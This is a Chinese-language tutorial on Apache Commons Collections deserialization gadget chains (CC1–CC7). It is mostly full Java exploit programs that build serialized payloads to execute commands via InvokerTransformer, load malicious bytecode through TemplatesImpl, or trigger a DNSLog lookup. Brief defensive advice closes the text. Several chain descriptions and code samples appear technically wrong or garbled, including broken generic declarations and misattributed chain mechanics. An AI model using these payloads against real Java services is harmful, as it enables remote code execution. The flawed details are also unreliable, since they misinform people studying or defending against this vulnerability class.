CC 链（Commons Collections 链）

一、认识 CC 链

1.1 基本定义

CC 链全称为Apache Commons Collections 链，是 Java 反序列化漏洞中最经典、应用最广泛的利用链之一。Apache Commons Collections（简称 ACC）是 Apache 基金会开发的一个 Java 工具类库，提供了大量增强型集合类（如TransformedMap、LazyMap）和工具方法，由于其在 Java 生态中的高普及率，成为反序列化漏洞利用的 “绝佳载体”。

CC 链的核心本质是：通过构造特定的 ACC 库类实例，将恶意代码植入到反序列化流程中，当目标应用对恶意序列化数据进行反序列化时，会触发 ACC 库类中预设的 “恶意调用链”，最终执行攻击者的代码（如命令执行、文件操作等）。

1.2 核心原理

Java 反序列化漏洞的触发前提是 “类重写了readObject()方法，且该方法中存在可控的危险操作”。CC 链的核心思路是：

利用 ACC 库中实现了Serializable接口（支持序列化）的类；
这些类的readObject()方法或其关联方法（如transform()、get()）会调用其他方法，形成 “方法调用链”；
通过构造 “恶意调用链”（将InvokerTransformer等可执行命令的类植入链中），让反序列化过程最终触发Runtime.exec()等危险方法。

1.3 关键组件

在 CC 链中，以下 ACC 库类和 Java 原生类是核心组件，几乎所有 CC 子链都会用到：

Transformer接口：定义了transform(Object input)方法，是调用链的 “节点模板”；
InvokerTransformer类：实现Transformer接口，通过反射调用任意类的任意方法（核心危险类，可直接调用Runtime.exec()）；
ChainedTransformer类：实现Transformer接口，可将多个Transformer串联成 “调用链”，依次执行每个Transformer的transform()方法；
TransformedMap类：增强型 Map，在添加 / 修改元素时会调用预设的Transformer处理元素；
LazyMap类：增强型 Map，在调用get()方法获取不存在的键时，会调用预设的Transformer生成值。

二、CC1 链分析（经典基础链）

2.1 基本信息

依赖版本：Apache Commons Collections 3.1~3.2.1（3.2.2 版本修复了该漏洞）；
核心思路：利用TransformedMap的 “元素修改触发Transformer” 特性，结合ChainedTransformer串联InvokerTransformer，构造恶意调用链，最终通过反序列化触发Runtime.exec()。

2.2 关键类与方法

类名	核心方法	作用
`TransformedMap`	`put(Object key, Object value)`	添加元素时调用`valueTransformer`处理值
`ChainedTransformer`	`transform(Object input)`	串联多个`Transformer`，依次执行
`InvokerTransformer`	`transform(Object input)`	通过反射调用目标方法（如`exec()`）
`HashMap`	`readObject(ObjectInputStream)`	反序列化时会调用`putVal()`间接触发`put()`

2.3 调用流程（核心链路）

2.4 EXP 实现

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.util.HashMap;
import java.util.Map;

public class CC1Exp {
    public static void main(String[] args) throws Exception {
        // 1. 构造三个InvokerTransformer，分别实现：获取Runtime类 → 获取Runtime实例 → 执行命令
        Transformer[] transformers = new Transformer[]{
                // 第一步：通过Class.forName获取Runtime.class（参数"java.lang.Runtime"）
                new InvokerTransformer("forName", 
                        new Class[]{String.class}, 
                        new Object[]{"java.lang.Runtime"}),
                // 第二步：调用Runtime.class的getRuntime()方法，获取Runtime实例
                new InvokerTransformer("getMethod", 
                        new Class[]{String.class, Class[].class}, 
                        new Object[]{"getRuntime", new Class[0]}),
                // 第三步：调用Runtime实例的exec()方法，执行命令（此处为calc.exe，Windows计算器）
                new InvokerTransformer("invoke", 
                        new Class[]{Object.class, Object[].class}, 
                        new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", 
                        new Class[]{String.class}, 
                        new Object[]{"calc.exe"})
        };

        // 2. 用ChainedTransformer串联上述Transformer，形成调用链
        Transformer chainedTransformer = new ChainedTransformer(transformers);

        // 3. 创建普通HashMap，包装为TransformedMap（指定valueTransformer为恶意调用链）
        Map<String, String> normalMap = new HashMap<>();
        normalMap.put("key", "value");
        Map<String, String> maliciousMap = TransformedMap.decorate(normalMap, null, chainedTransformer);

        // 4. 序列化恶意Map（模拟攻击者发送恶意数据）
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc1.ser"));
        oos.writeObject(maliciousMap);
        oos.close();

        // 5. 反序列化（模拟目标应用触发漏洞）
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc1.ser"));
        ois.readObject(); // 反序列化时触发调用链，执行calc.exe
        ois.close();
    }
}

2.5 特点与局限性

特点：原理简单、兼容性强（覆盖 3.x 早期版本），是学习 CC 链的入门案例；
局限性：3.2.2 版本后 ACC 库修复了TransformedMap的触发逻辑，且依赖HashMap.readObject()的执行流程，易被安全防护检测。

三、CC2 链分析（基于 TemplatesImpl 优化）

3.1 基本信息

依赖版本：Apache Commons Collections 3.1~3.2.1；
核心思路：引入 Java 原生类com.sun.org``.apache.xalan.internal.xsltc.trax.TemplatesImpl（简称TemplatesImpl），利用其defineClass()方法加载恶意字节码，替代 CC1 中直接调用Runtime.exec()的方式，绕开部分检测。

3.2 关键类与方法

类名	核心方法	作用
`TemplatesImpl`	`defineClass(String name, byte[] b, int off, int len)`	加载字节码并定义恶意类
`TemplatesImpl`	`getOutputProperties()`	间接调用`defineClass()`和`newInstance()`
`InvokerTransformer`	`transform(Object input)`	触发`TemplatesImpl.getOutputProperties()`

3.3 调用流程（核心链路）

3.4 EXP 实现

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC2Exp {
    // 1. 定义恶意类（继承AbstractTranslet，满足TemplatesImpl加载要求）
    static class MaliciousTranslet extends AbstractTranslet {
        static {
            // static代码块在类加载时执行，触发命令
            try {
                Runtime.getRuntime().exec("calc.exe");
            } catch (IOException e) {
                throw new RuntimeException(e);
            }
        }
        @Override
        public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM dom, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xalan.internal.xsltc.translet.TransletOutputHandler outputHandler, com.sun.org.apache.xml.internal.serializer.Serializer serializer) throws Exception {}
        @Override
        public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM dom, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xalan.internal.xsltc.translet.TransletOutputHandler outputHandler) throws Exception {}
    }

    public static void main(String[] args) throws Exception {
        // 2. 获取恶意类的字节码（模拟攻击者准备恶意字节码）
        byte[] maliciousBytecode = getClassBytecode(MaliciousTranslet.class);

        // 3. 构造TemplatesImpl实例，设置_bytecodes为恶意字节码
        TemplatesImpl templates = new TemplatesImpl();
        Field bytecodesField = TemplatesImpl.class.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        bytecodesField.set(templates, new byte[][]{maliciousBytecode});

        // 4. 构造调用链：触发TemplatesImpl.getOutputProperties()
        Transformer[] transformers = new Transformer[]{
                new InvokerTransformer("getOutputProperties", new Class[0], new Object[0])
        };
        Transformer chainedTransformer = new ChainedTransformer(transformers);

        // 5. 包装恶意Map并序列化
        Map<String, TemplatesImpl> normalMap = new HashMap<>();
        normalMap.put("key", templates);
        Map<String, TemplatesImpl> maliciousMap = TransformedMap.decorate(normalMap, null, chainedTransformer);

        // 6. 序列化与反序列化（触发漏洞）
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc2.ser"));
        oos.writeObject(maliciousMap);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc2.ser"));
        ois.readObject();
        ois.close();
    }

    // 辅助方法：获取类的字节码
    private static byte[] getClassBytecode(Class<?> cls) throws Exception {
        File file = new File(cls.getProtectionDomain().getCodeSource().getLocation().toURI());
        FileInputStream fis = new FileInputStream(new File(file, cls.getName().replace(".", "/") + ".class"));
        byte[] bytes = new byte[fis.available()];
        fis.read(bytes);
        fis.close();
        return bytes;
    }
}

3.5 特点与局限性

特点：利用字节码加载执行命令，比 CC1 更隐蔽，可绕开对Runtime.exec()的直接检测；
局限性：依赖TemplatesImpl类（属于 Xalan 库，部分环境可能缺失），且 ACC 版本限制与 CC1 一致。

四、CC3 链分析（基于 LazyMap 优化触发方式）

4.1 基本信息

依赖版本：Apache Commons Collections 3.1~3.2.1；
核心思路：用LazyMap替代 CC1/CC2 中的TransformedMap，利用LazyMap.get()方法（获取不存在的键时触发Transformer）作为触发点，避免依赖HashMap.put()的执行流程，进一步绕开检测。

4.2 关键类与方法

类名	核心方法	作用
`LazyMap`	`get(Object key)`	键不存在时调用`factory.transform()`（即`Transformer`）
`HashMap`	`readObject()`	反序列化时会调用`hash()`，间接触发`LazyMap.get()`
`ChainedTransformer`	`transform(Object input)`	串联恶意调用链

4.3 调用流程（核心链路）

4.4 EXP 实现

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC3Exp {
    // 1. 定义恶意Translet类
    static class MaliciousTranslet extends AbstractTranslet {
        static {
            try {
                Runtime.getRuntime().exec("calc.exe");
            } catch (IOException e) {
                throw new RuntimeException(e);
            }
        }
        @Override
        public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM dom, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xalan.internal.xsltc.translet.TransletOutputHandler outputHandler, com.sun.org.apache.xml.internal.serializer.Serializer serializer) throws Exception {}
        @Override
        public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM dom, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xalan.internal.xsltc.translet.TransletOutputHandler outputHandler) throws Exception {}
    }

    public static void main(String[] args) throws Exception {
        // 2. 准备恶意字节码与TemplatesImpl实例
        byte[] maliciousBytecode = getClassBytecode(MaliciousTranslet.class);
        TemplatesImpl templates = new TemplatesImpl();
        Field bytecodesField = TemplatesImpl.class.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        bytecodesField.set(templates, new byte[][]{maliciousBytecode});

        // 3. 构造调用链：触发TemplatesImpl.getOutputProperties()
        Transformer[] transformers = new Transformer[]{
                new InvokerTransformer("getOutputProperties", new Class[0], new Object[0])
        };
        Transformer chainedTransformer = new ChainedTransformer(transformers);

        // 4. 用LazyMap包装（factory为恶意调用链），且不添加"triggerKey"（确保get()时触发）
        Map<String, TemplatesImpl> maliciousMap = LazyMap.decorate(new HashMap<>(), chainedTransformer);
        maliciousMap.put("key", templates); // 添加其他键，避免触发

        // 5. 反射修改HashMap的table属性，插入"triggerKey"（反序列化时hash()会触发get()）
        Field tableField = HashMap.class.getDeclaredField("table");
        tableField.setAccessible(true);
        Object[] table = (Object[]) tableField.get(maliciousMap);
        for (Object entry : table) {
            if (entry != null) {
                Field keyField = entry.getClass().getDeclaredField("key");
                keyField.setAccessible(true);
                keyField.set(entry, "triggerKey"); // 将键改为不存在的"triggerKey"
                break;
            }
        }

        // 6. 序列化与反序列化
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc3.ser"));
        oos.writeObject(maliciousMap);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc3.ser"));
        ois.readObject();
        ois.close();
    }

    // 辅助方法：获取类字节码（同CC2）
    private static byte[] getClassBytecode(Class<?> cls) throws Exception {
        File file = new File(cls.getProtectionDomain().getCodeSource().getLocation().toURI());
        FileInputStream fis = new FileInputStream(new File(file, cls.getName().replace(".", "/") + ".class"));
        byte[] bytes = new byte[fis.available()];
        fis.read(bytes);
        fis.close();
        return bytes;
    }
}

4.5 特点与局限性

特点：触发点从put()改为get()，更隐蔽，不依赖元素添加流程，检测绕过能力更强；
局限性：需通过反射修改HashMap的table属性，操作较复杂，且 ACC 版本限制不变。

五、CC4 链分析（结合 PriorityQueue 的被动触发）

5.1 基本信息

依赖版本：Apache Commons Collections 3.1~3.2.1；
核心思路：引入 Java 原生类PriorityQueue（优先级队列），利用其readObject()方法中对队列元素的 “排序操作”，被动触发LazyMap.get()，进一步降低触发流程的 “主动性”，绕开更多防护。

5.2 关键类与方法

类名	核心方法	作用
`PriorityQueue`	`readObject()`	反序列化时调用`heapify()`对元素排序
`PriorityQueue`	`heapify()`	调用`compare()`比较元素，触发`LazyMap.get()`
`LazyMap`	`get(Object key)`	触发恶意调用链

5.3 调用流程（核心链路）

5.4 EXP 实现

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import java.io.*;
import java.lang.reflect.Field;
import java.util.*;

public class CC4Exp {
    // 1. 恶意Translet类（同CC2/CC3）
    static class MaliciousTranslet extends AbstractTranslet {
        static {
            try {
                Runtime.getRuntime().exec("calc.exe");
            } catch (IOException e) {
                throw new RuntimeException(e);
            }
        }
        @Override
        public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM dom, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xalan.internal.xsltc.translet.TransletOutputHandler outputHandler, com.sun.org.apache.xml.internal.serializer.Serializer serializer) throws Exception {}
        @Override
        public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM dom, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xalan.internal.xsltc.translet.TransletOutputHandler outputHandler) throws Exception {}
    }

    public static void main(String[] args) throws Exception {
        // 2. 准备TemplatesImpl实例
        byte[] maliciousBytecode = getClassBytecode(MaliciousTranslet.class);
        TemplatesImpl templates = new TemplatesImpl();
        Field bytecodesField = TemplatesImpl.class.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        bytecodesField.set(templates, new byte[][]{maliciousBytecode});

        // 3. 构造恶意调用链
        Transformer[] transformers = new Transformer[]{
                new InvokerTransformer("getOutputProperties", new Class[0], new Object[0])
        };
        Transformer chainedTransformer = new ChainedTransformer(transformers);

        // 4. 构造LazyMap（键"triggerKey"不存在，用于触发get()）
        Map<String, TemplatesImpl> lazyMap = LazyMap.decorate(new HashMap<>(), chainedTransformer);
        lazyMap.put("key", templates);

        // 5. 构造PriorityQueue，添加两个LazyMap实例（触发排序）
        PriorityQueue



 queue = new PriorityQueue<>((o1, o2) -> {
            // 比较器：调用o1.get("triggerKey")，触发LazyMap.get()
            o1.get("triggerKey");
            return 0;
        });
        queue.add(lazyMap);
        queue.add(lazyMap);

        // 6. 反射清空队列元素的comparator（避免序列化前触发）
        Field comparatorField = PriorityQueue.class.getDeclaredField("comparator");
        comparatorField.setAccessible(true);
        comparatorField.set(queue, null);

        // 7. 序列化与反序列化
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc4.ser"));
        oos.writeObject(queue);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc4.ser"));
        ois.readObject();
        ois.close();
    }

    // 辅助方法：获取类字节码（同前）
    private static byte[] getClassBytecode(Class<?> cls) throws Exception {
        File file = new File(cls.getProtectionDomain().getCodeSource().getLocation().toURI());
        FileInputStream fis = new FileInputStream(new File(file, cls.getName().replace(".", "/") + ".class"));
        byte[] bytes = new byte[fis.available()];
        fis.read(bytes);
        fis.close();
        return bytes;
    }
}

5.5 特点与局限性

特点：利用PriorityQueue的排序特性被动触发，触发流程更隐蔽，几乎不依赖 “主动修改元素”；
局限性：需构造特定的比较器，且PriorityQueue在部分环境中可能不常用，兼容性略低于前几条链。

六、CC5 链分析（基于 ConstantTransformer 简化调用链）

6.1 基本信息

依赖版本：Apache Commons Collections 3.1~3.2.1；
核心思路：引入ConstantTransformer（返回固定对象的Transformer），替代 CC1 中通过多步反射获取Runtime实例的逻辑，简化调用链，提高稳定性。

6.2 关键类与方法

类名	核心方法	作用
`ConstantTransformer`	`transform(Object input)`	直接返回预设的对象（如`Runtime`实例）
`ChainedTransformer`	`transform(Object input)`	串联`ConstantTransformer`与`InvokerTransformer`

6.3 调用流程（核心链路）

6.4 EXP 实现

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.util.HashMap;
import java.util.Map;

public class CC5Exp {
    public static void main(String[] args) throws Exception {
        // 1. 直接获取Runtime实例（通过getRuntime()）
        Runtime runtime = Runtime.getRuntime();

        // 2. 构造调用链：ConstantTransformer返回Runtime实例 → InvokerTransformer调用exec()
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(runtime), // 直接返回预设的Runtime实例
                new InvokerTransformer("exec", 
                        new Class[]{String.class}, 
                        new Object[]{"calc.exe"}) // 调用exec()执行命令
        };
        Transformer chainedTransformer = new ChainedTransformer(transformers);

        // 3. 包装恶意Map并序列化
        Map<String, String> normalMap = new HashMap<>();
        normalMap.put("key", "value");
        Map<String, String> maliciousMap = TransformedMap.decorate(normalMap, null, chainedTransformer);

        // 4. 序列化与反序列化
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc5.ser"));
        oos.writeObject(maliciousMap);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc5.ser"));
        ois.readObject();
        ois.close();
    }
}

6.5 特点与局限性

特点：调用链极简化（仅两步），稳定性高，不易因反射步骤错误导致漏洞失效；
局限性：ConstantTransformer返回的Runtime实例在序列化时会被正常序列化，部分防护可能检测 “序列化流中的Runtime对象”。

七、CC6 链分析（结合 URLDNS 链的检测友好型）

7.1 基本信息

依赖版本：Apache Commons Collections 3.1~3.2.1；
核心思路：结合 “URLDNS 链”（通过URL.hashCode()触发 DNS 查询）与 CC 链，将恶意行为从 “命令执行” 改为 “DNS 查询”，适用于漏洞检测场景（不执行恶意命令，仅通过 DNS 日志判断漏洞存在）。

7.2 关键类与方法

类名	核心方法	作用
`URL`	`hashCode()`	计算哈希值时触发 DNS 查询
`HashMap`	`readObject()`	调用`hash()`，间接触发`URL.hashCode()`
`InvokerTransformer`	`transform(Object input)`	触发`URL.hashCode()`

7.3 调用流程（核心链路）

7.4 EXP 实现

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;
import java.util.Map;

public class CC6Exp {
    public static void main(String[] args) throws Exception {
        // 1. 构造攻击者的DNS域名（如"test.cc6.dnslog.cn"，需替换为实际DNSLog域名）
        URL maliciousUrl = new URL("http://test.cc6.dnslog.cn");

        // 2. 构造调用链：触发URL.hashCode()
        Transformer transformer = new InvokerTransformer("hashCode", new Class[0], new Object[0]);

        // 3. 包装恶意Map（键为URL对象，valueTransformer为触发hashCode()的Transformer）
        Map<URL, String> normalMap = new HashMap<>();
        normalMap.put(maliciousUrl, "value");
        Map<URL, String> maliciousMap = TransformedMap.decorate(normalMap, null, transformer);

        // 4. 反射修改URL的hostAddress为null（确保hashCode()重新触发DNS查询）
        java.lang.reflect.Field hostAddressField = URL.class.getDeclaredField("hostAddress");
        hostAddressField.setAccessible(true);
        hostAddressField.set(maliciousUrl, null);

        // 5. 序列化与反序列化（触发DNS查询）
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc6.ser"));
        oos.writeObject(maliciousMap);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc6.ser"));
        ois.readObject(); // 反序列化时触发DNS查询，攻击者可在DNSLog平台查看记录
        ois.close();
    }
}

7.5 特点与局限性

特点：无恶意命令执行，仅用于漏洞检测，安全性高（不影响目标系统），适合渗透测试中的 “漏洞验证”；
局限性：仅能检测漏洞存在，无法执行恶意操作，且依赖 DNSLog 平台的可用性。

八、CC7 链分析（基于 4.0 + 版本的适配）

8.1 基本信息

依赖版本：Apache Commons Collections 4.0~4.4（修复了 3.x 的部分漏洞，需新的利用思路）；
核心思路：ACC 4.x 版本将InvokerTransformer等危险类移至org.apache.commons.collections4.functors包，并加强了访问控制，CC7 通过调用TransformerUtils.chainedTransformer()替代直接实例化ChainedTransformer，绕开访问限制。

8.2 关键类与方法

类名	核心方法	作用
`TransformerUtils`	`chainedTransformer(Transformer[] transformers)`	创建`ChainedTransformer`实例（4.x 推荐方式）
`LazyMap`	`get(Object key)`	触发恶意调用链
`PriorityQueue`	`readObject()`	被动触发`LazyMap.get()`

8.3 调用流程（核心链路）

8.4 EXP 实现

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.map.LazyMap;
import org.apache.commons.collections4.TransformerUtils;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;

public class CC7Exp {
    // 1. 恶意Translet类（同前）
    static class MaliciousTranslet extends AbstractTranslet {
        static {
            try {
                Runtime.getRuntime().exec("calc.exe");
            } catch (IOException e) {
                throw new RuntimeException(e);
            }
        }
        @Override
        public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM dom, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xalan.internal.xsltc.translet.TransletOutputHandler outputHandler, com.sun.org.apache.xml.internal.serializer.Serializer serializer) throws Exception {}
        @Override
        public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM dom, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xalan.internal.xsltc.translet.TransletOutputHandler outputHandler) throws Exception {}
    }

    public static void main(String[] args) throws Exception {
        // 2. 准备TemplatesImpl实例
        byte[] maliciousBytecode = getClassBytecode(MaliciousTranslet.class);
        TemplatesImpl templates = new TemplatesImpl();
        Field bytecodesField = TemplatesImpl.class.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        bytecodesField.set(templates, new byte[][]{maliciousBytecode});

        // 3. 用TransformerUtils创建ChainedTransformer（适配4.x版本）
        Transformer[] transformers = new Transformer[]{
                new InvokerTransformer("getOutputProperties", new Class[0], new Object[0])
        };
        Transformer chainedTransformer = TransformerUtils.chainedTransformer(transformers);

        // 4. 构造LazyMap与PriorityQueue（同CC4）
        Map<String, TemplatesImpl> lazyMap = LazyMap.lazyMap(new HashMap<>(), chainedTransformer);
        lazyMap.put("key", templates);

        PriorityQueue
 queue = new PriorityQueue<>((o1, o2) -> {
            o1.get("triggerKey");
            return 0;
        });
        queue.add(lazyMap);
        queue.add(lazyMap);

        // 5. 清空comparator，避免提前触发
        Field comparatorField = PriorityQueue.class.getDeclaredField("comparator");
        comparatorField.setAccessible(true);
        comparatorField.set(queue, null);

        // 6. 序列化与反序列化
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc7.ser"));
        oos.writeObject(queue);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc7.ser"));
        ois.readObject();
        ois.close();
    }

    // 辅助方法：获取类字节码（同前）
    private static byte[] getClassBytecode(Class<?> cls) throws Exception {
        File file = new File(cls.getProtectionDomain().getCodeSource().getLocation().toURI());
        FileInputStream fis = new FileInputStream(new File(file, cls.getName().replace(".", "/") + ".class"));
        byte[] bytes = new byte[fis.available()];
        fis.read(bytes);
        fis.close();
        return bytes;
    }
}

8.5 特点与局限性

特点：适配 ACC 4.x 版本，绕开了 4.x 对危险类的访问限制，兼容性覆盖更广；
局限性：4.x 版本仍在不断修复漏洞，部分高版本（如 4.5+）可能已无法利用。

九、各 CC 链子链对比与总结

子链	核心触发类	依赖 ACC 版本	特点	适用场景
CC1	TransformedMap	3.1~3.2.1	基础经典，易理解	入门学习、低版本 ACC 环境
CC2	TransformedMap+TemplatesImpl	3.1~3.2.1	字节码加载，绕开直接命令检测	需隐蔽执行命令的场景
CC3	LazyMap	3.1~3.2.1	get () 触发，更隐蔽	绕开 TransformedMap 检测的场景
CC4	PriorityQueue+LazyMap	3.1~3.2.1	被动排序触发，检测绕过能力强	高防护环境的命令执行
CC5	ConstantTransformer	3.1~3.2.1	调用链简化，稳定性高	对稳定性要求高的漏洞利用
CC6	URL+TransformedMap	3.1~3.2.1	DNS 查询，仅用于检测	漏洞验证、无恶意操作场景
CC7	TransformerUtils+PriorityQueue	4.0~4.4	适配 4.x 版本，兼容性广	高版本 ACC 环境的命令执行

防御建议

升级 ACC 库：将 Apache Commons Collections 升级至最新版本（如 3.2.2+、4.5+），修复已知漏洞；
序列化过滤：使用 Java 序列化过滤机制（如ObjectInputFilter），禁止反序列化 ACC 库的危险类（如InvokerTransformer、ChainedTransformer）；
字节码检测：监控TemplatesImpl.defineClass()等字节码加载行为，拦截恶意字节码；
命令执行监控：对Runtime.exec()、ProcessBuilder等危险方法进行 Hook，检测异常调用。

一	二	三	四	五	六	日
		1	2	3	4	5
6	7	8	9	10	11	12
13	14	15	16	17	18	19
20	21	22	23	24	25	26
27	28	29	30	31

新年倒计时